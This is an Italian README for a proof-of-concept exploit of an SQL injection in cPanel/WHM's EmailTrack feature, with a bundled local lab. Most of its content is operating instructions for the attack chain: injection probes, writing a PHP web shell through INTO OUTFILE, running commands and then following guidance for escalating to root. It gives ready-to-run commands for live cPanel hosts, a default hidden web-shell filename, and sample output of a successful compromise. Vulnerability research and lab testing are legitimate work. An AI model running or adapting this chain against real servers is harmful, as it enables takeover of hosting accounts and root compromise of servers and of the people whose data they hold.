
Proof-of-concept per CVE-2026-67401, un'iniezione SQL in EmailTrack di cPanel/WHM che consente la scrittura arbitraria di file e RCE come root, con sonde di rilevamento SQLi e un laboratorio vulnerabile autonomo.
Proof-of-concept per CVE-2026-67401, una vulnerabilità critica di SQL injection nella funzionalità EmailTrack di cPanel & WHM che consente a un utente autenticato con privilegi relativi alla posta di scrivere file arbitrari ed eseguire codice come root.
Scoperta da: Ali Mustafa Divulgata: 8 settembre 2026 Componente: EmailTrack (registrazione / tracciamento della consegna delle email)
Le versioni precedenti alle build corrette sono vulnerabili.
| Serie di build cPanel | Versione corretta |
|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
Verifica la tua versione con:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account di EmailTrack.SELECT ... INTO OUTFILE in public_html/.| File | Descrizione |
|---|---|
poc_sqli.py | Rilevamento SQL injection: boolean-based, time-based e conteggio colonne UNION |
poc_full_chain.py | Catena di exploit completa: SQLi → web shell INTO OUTFILE → RCE → guida per root |
lab/vuln_server.py | Simulazione locale del backend EmailTrack vulnerabile (sicura, autonoma) |
README.md | Questo documento |
Il lab incluso permette di eseguire e validare l'intera catena senza un vero server cPanel.
Tutti i comandi vengono eseguiti dalla root del repository.
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP(),
INTO OUTFILE e l'esecuzione della web shell PHP.18123)lab/htdocs)Lascialo in esecuzione in un terminale e usa un secondo terminale per i PoC.
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| Argomento | Descrizione |
|---|---|
-H, --host | Host cPanel, ad es. https://cp.example.com:2083 |
-u, --username | Account cPanel con privilegi di posta |
-p, --password | Password dell'account |
--param | Parametro iniettabile (predefinito: account) |
--mode | detect (predefinito), boolean, timing, union o all |
--sleep | Durata di SLEEP() per la sonda timing (predefinita: 3.0) |
--dump-version | Tenta di estrarre la versione del DBMS tramite UNION |
--insecure | Salta la verifica del certificato TLS |
Esegui una sonda specifica:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| Argomento / Env | Descrizione |
|---|---|
host (posizionale) | Host cPanel, oppure imposta la variabile CPANEL_HOST |
CPANEL_USER | Account cPanel con privilegi di posta |
CPANEL_PASS | Password dell'account |
--shell-base | URL di base che serve public_html (dove viene raggiunta la web shell) |
--insecure | Salta la verifica del certificato TLS |
--no-escalate | Fermati dopo l'RCE; salta la guida per l'escalation a root |
SHELL_NAME (env) | Nome file della web shell (predefinito: .mail.cache.php) |
Fasi eseguite automaticamente:
SELECT ... INTO OUTFILEid, whoami, enumerazione SUID, …)whmapi1, cron, task queue)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
Nota: il valore predefinito di
--shell-baserimuove dall'host la porta riservata a cPanel (2082/2083). Se il document root è servito su una porta diversa, impostala esplicitamente.
Output prodotto contro il lab incluso:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
Rilasciato per scopi educativi e di ricerca sulla sicurezza autorizzata. Consulta il Disclaimer prima dell'uso.